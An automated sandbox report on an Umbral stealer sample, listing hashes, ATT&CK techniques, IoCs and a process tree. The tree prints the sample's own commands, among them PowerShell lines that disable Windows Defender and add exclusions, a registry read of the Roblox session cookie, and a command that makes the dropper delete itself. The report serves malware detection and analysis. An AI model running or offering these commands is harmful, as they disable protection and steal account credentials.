umbral | 26ab66ebbaebd820ba8be4da58fe5d2403f29c254e6946354e128b4379b09ef6

Analysis

max time kernel
96s
max time network
136s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
09-01-2025 19:59

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General

Target

void.exe
Size

1.2MB
MD5

b95ebcf2ae71c29e2fab45e455454f66
SHA1

6d2b76cca8a9f9b83652b570fdc56a2b39c1a3da
SHA256

26ab66ebbaebd820ba8be4da58fe5d2403f29c254e6946354e128b4379b09ef6
SHA512

975bb6f3c364a5a77839d26ebb0b954d057b42a3e7dcc02254873025142b791c1522e754b916d6440840449f8b4cc6c8ecc63b3b2d5067f84342ffaa4f8f5550
SSDEEP

24576:qU+9XNrenyktDLdYNtcdvQNC9wHAP5c1gfZRI8seEW0b3cENImHHmSv:U5OVeyff+v

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 3 IoCs

resource	yara_rule
behavioral2/files/0x000a000000023b7b-14.dat	family_umbral
behavioral2/memory/2808-21-0x0000000000400000-0x0000000000536000-memory.dmp	family_umbral
behavioral2/memory/4688-22-0x0000018871C10000-0x0000018871C50000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2524	powershell.exe
4536	powershell.exe
636	powershell.exe
2508	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Source code.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	void.exe

Executes dropped EXE 2 IoCs

pid	Process
3296	triggerbot.exe
4688	Source code.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
23	discord.com
22	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
11	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	void.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	triggerbot.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2532	cmd.exe
4672	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1360	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4672	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4688	Source code.exe
2524	powershell.exe
2524	powershell.exe
4536	powershell.exe
4536	powershell.exe
636	powershell.exe
636	powershell.exe
4284	powershell.exe
4284	powershell.exe
2508	powershell.exe
2508	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4688	Source code.exe
Token: SeIncreaseQuotaPrivilege	1068	wmic.exe
Token: SeSecurityPrivilege	1068	wmic.exe
Token: SeTakeOwnershipPrivilege	1068	wmic.exe
Token: SeLoadDriverPrivilege	1068	wmic.exe
Token: SeSystemProfilePrivilege	1068	wmic.exe
Token: SeSystemtimePrivilege	1068	wmic.exe
Token: SeProfSingleProcessPrivilege	1068	wmic.exe
Token: SeIncBasePriorityPrivilege	1068	wmic.exe
Token: SeCreatePagefilePrivilege	1068	wmic.exe
Token: SeBackupPrivilege	1068	wmic.exe
Token: SeRestorePrivilege	1068	wmic.exe
Token: SeShutdownPrivilege	1068	wmic.exe
Token: SeDebugPrivilege	1068	wmic.exe
Token: SeSystemEnvironmentPrivilege	1068	wmic.exe
Token: SeRemoteShutdownPrivilege	1068	wmic.exe
Token: SeUndockPrivilege	1068	wmic.exe
Token: SeManageVolumePrivilege	1068	wmic.exe
Token: 33	1068	wmic.exe
Token: 34	1068	wmic.exe
Token: 35	1068	wmic.exe
Token: 36	1068	wmic.exe
Token: SeIncreaseQuotaPrivilege	1068	wmic.exe
Token: SeSecurityPrivilege	1068	wmic.exe
Token: SeTakeOwnershipPrivilege	1068	wmic.exe
Token: SeLoadDriverPrivilege	1068	wmic.exe
Token: SeSystemProfilePrivilege	1068	wmic.exe
Token: SeSystemtimePrivilege	1068	wmic.exe
Token: SeProfSingleProcessPrivilege	1068	wmic.exe
Token: SeIncBasePriorityPrivilege	1068	wmic.exe
Token: SeCreatePagefilePrivilege	1068	wmic.exe
Token: SeBackupPrivilege	1068	wmic.exe
Token: SeRestorePrivilege	1068	wmic.exe
Token: SeShutdownPrivilege	1068	wmic.exe
Token: SeDebugPrivilege	1068	wmic.exe
Token: SeSystemEnvironmentPrivilege	1068	wmic.exe
Token: SeRemoteShutdownPrivilege	1068	wmic.exe
Token: SeUndockPrivilege	1068	wmic.exe
Token: SeManageVolumePrivilege	1068	wmic.exe
Token: 33	1068	wmic.exe
Token: 34	1068	wmic.exe
Token: 35	1068	wmic.exe
Token: 36	1068	wmic.exe
Token: SeDebugPrivilege	2524	powershell.exe
Token: SeDebugPrivilege	4536	powershell.exe
Token: SeDebugPrivilege	636	powershell.exe
Token: SeDebugPrivilege	4284	powershell.exe
Token: SeIncreaseQuotaPrivilege	5016	wmic.exe
Token: SeSecurityPrivilege	5016	wmic.exe
Token: SeTakeOwnershipPrivilege	5016	wmic.exe
Token: SeLoadDriverPrivilege	5016	wmic.exe
Token: SeSystemProfilePrivilege	5016	wmic.exe
Token: SeSystemtimePrivilege	5016	wmic.exe
Token: SeProfSingleProcessPrivilege	5016	wmic.exe
Token: SeIncBasePriorityPrivilege	5016	wmic.exe
Token: SeCreatePagefilePrivilege	5016	wmic.exe
Token: SeBackupPrivilege	5016	wmic.exe
Token: SeRestorePrivilege	5016	wmic.exe
Token: SeShutdownPrivilege	5016	wmic.exe
Token: SeDebugPrivilege	5016	wmic.exe
Token: SeSystemEnvironmentPrivilege	5016	wmic.exe
Token: SeRemoteShutdownPrivilege	5016	wmic.exe
Token: SeUndockPrivilege	5016	wmic.exe
Token: SeManageVolumePrivilege	5016	wmic.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3296	triggerbot.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
3296	triggerbot.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3296	triggerbot.exe

Suspicious use of WriteProcessMemory 31 IoCs

description	pid	Process	procid_target
PID 2808 wrote to memory of 3296	2808	void.exe	85
PID 2808 wrote to memory of 3296	2808	void.exe	85
PID 2808 wrote to memory of 3296	2808	void.exe	85
PID 2808 wrote to memory of 4688	2808	void.exe	86
PID 2808 wrote to memory of 4688	2808	void.exe	86
PID 4688 wrote to memory of 1068	4688	Source code.exe	87
PID 4688 wrote to memory of 1068	4688	Source code.exe	87
PID 4688 wrote to memory of 3336	4688	Source code.exe	90
PID 4688 wrote to memory of 3336	4688	Source code.exe	90
PID 4688 wrote to memory of 2524	4688	Source code.exe	92
PID 4688 wrote to memory of 2524	4688	Source code.exe	92
PID 4688 wrote to memory of 4536	4688	Source code.exe	94
PID 4688 wrote to memory of 4536	4688	Source code.exe	94
PID 4688 wrote to memory of 636	4688	Source code.exe	97
PID 4688 wrote to memory of 636	4688	Source code.exe	97
PID 4688 wrote to memory of 4284	4688	Source code.exe	99
PID 4688 wrote to memory of 4284	4688	Source code.exe	99
PID 4688 wrote to memory of 5016	4688	Source code.exe	101
PID 4688 wrote to memory of 5016	4688	Source code.exe	101
PID 4688 wrote to memory of 1240	4688	Source code.exe	103
PID 4688 wrote to memory of 1240	4688	Source code.exe	103
PID 4688 wrote to memory of 3144	4688	Source code.exe	105
PID 4688 wrote to memory of 3144	4688	Source code.exe	105
PID 4688 wrote to memory of 2508	4688	Source code.exe	107
PID 4688 wrote to memory of 2508	4688	Source code.exe	107
PID 4688 wrote to memory of 1360	4688	Source code.exe	109
PID 4688 wrote to memory of 1360	4688	Source code.exe	109
PID 4688 wrote to memory of 2532	4688	Source code.exe	111
PID 4688 wrote to memory of 2532	4688	Source code.exe	111
PID 2532 wrote to memory of 4672	2532	cmd.exe	113
PID 2532 wrote to memory of 4672	2532	cmd.exe	113

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3336	attrib.exe

C:\Users\Admin\AppData\Local\Temp\void.exe
"C:\Users\Admin\AppData\Local\Temp\void.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2808
- C:\Users\Admin\AppData\Local\Temp\triggerbot.exe
  "C:\Users\Admin\AppData\Local\Temp\triggerbot.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  PID:3296
- C:\Users\Admin\AppData\Local\Temp\Source code.exe
  "C:\Users\Admin\AppData\Local\Temp\Source code.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4688
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1068
- - C:\Windows\SYSTEM32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Source code.exe"
    3⤵
    - Views/modifies file attributes
    PID:3336
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Source code.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2524
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4536
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:636
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4284
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5016
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:1240
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:3144
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2508
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:1360
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Source code.exe" && pause
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:2532
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4672

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2a6791e659ef10436a2630048d2f9e2b

SHA1
0a483934f1a8e3ce11c84c66f5e10234786f968d

SHA256
9bad2e03c843299ce41d788b259ba33046d307205c85bdbf8ba2a7b27adb6476

SHA512
aabd220ef03d0918d9aa9842a6bd5725f129dedcd8bfd277a8210f34d2377db973084254dc8dc42d6b21b0790d6e045ead63f3f8b0de8bafb95c2c52a92432ed

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
59d97011e091004eaffb9816aa0b9abd

SHA1
1602a56b01dd4b7c577ca27d3117e4bcc1aa657b

SHA256
18f381e0db020a763b8c515c346ef58679ab9c403267eacfef5359e272f7e71d

SHA512
d9ca49c1a17580981e2c1a50d73c0eecaa7a62f8514741512172e395af2a3d80aeb0f71c58bc7f52c18246d57ba67af09b6bff4776877d6cc6f0245c30e092d6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
966914e2e771de7a4a57a95b6ecfa8a9

SHA1
7a32282fd51dd032967ed4d9a40cc57e265aeff2

SHA256
98d3c70d7004fa807897317bd6cd3e977b9b6c72d4d2565aca0f9f8b1c315cba

SHA512
dc39c7124a9c7c8d4c7e8e16290c46360b8d9a8f4e43edaacbbeb09bdcf20159a53db54d2b322372001b6a3de52b2f88e9088b5fdbc7638816ae0d122bb015f5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
548dd08570d121a65e82abb7171cae1c

SHA1
1a1b5084b3a78f3acd0d811cc79dbcac121217ab

SHA256
cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc

SHA512
37b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Source code.exe

Filesize
230KB

MD5
1bd8c57a285b16031347d648da8236df

SHA1
22d317dbcba46fe01d194f317e1723f8f56ddf03

SHA256
3fc0488caefd731de70f92c6fb7bc71ddaa9c95304692357a53681d9878e4fe2

SHA512
bcfcc853a09512fc320205e264d365d73313b6269438a278459a65f16ee2bbb27c84f10f1aef42b38211936276a220b29011ef86e8fcccc4d002be55a63382fd

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dyv0godw.ft3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\triggerbot.exe

Filesize
969KB

MD5
24f2d1b0276c92bedd06612a34fda910

SHA1
f7c414b64d302f272785df5e62076fabdf7d5719

SHA256
02294d7cc5012fe8c48886c07d774f1be2606890b4f1e08254995cce42cfa95a

SHA512
7789ab39108188ef25ffe12fa76ce5d99cc19353b8e13b05eba5429c84e4a07cd5cd0995f0b08eb485826b665bb17e96320e62ff554469d064428b73f40ef766

Download Submit
memory/2524-25-0x0000026924EF0000-0x0000026924F12000-memory.dmp

Filesize
136KB

Download
memory/2808-21-0x0000000000400000-0x0000000000536000-memory.dmp

Filesize
1.2MB

Download
memory/4688-51-0x0000018874470000-0x00000188744E6000-memory.dmp

Filesize
472KB

Download
memory/4688-52-0x00000188744F0000-0x0000018874540000-memory.dmp

Filesize
320KB

Download
memory/4688-53-0x0000018874090000-0x00000188740AE000-memory.dmp

Filesize
120KB

Download
memory/4688-24-0x00007FFB67ED0000-0x00007FFB68991000-memory.dmp

Filesize
10.8MB

Download
memory/4688-22-0x0000018871C10000-0x0000018871C50000-memory.dmp

Filesize
256KB

Download
memory/4688-90-0x00000188740B0000-0x00000188740BA000-memory.dmp

Filesize
40KB

Download
memory/4688-91-0x00000188740E0000-0x00000188740F2000-memory.dmp

Filesize
72KB

Download
memory/4688-23-0x00007FFB67ED3000-0x00007FFB67ED5000-memory.dmp

Filesize
8KB

Download
memory/4688-111-0x0000018874120000-0x0000018874222000-memory.dmp

Filesize
1.0MB

Download
memory/4688-112-0x00007FFB67ED0000-0x00007FFB68991000-memory.dmp

Filesize
10.8MB

Download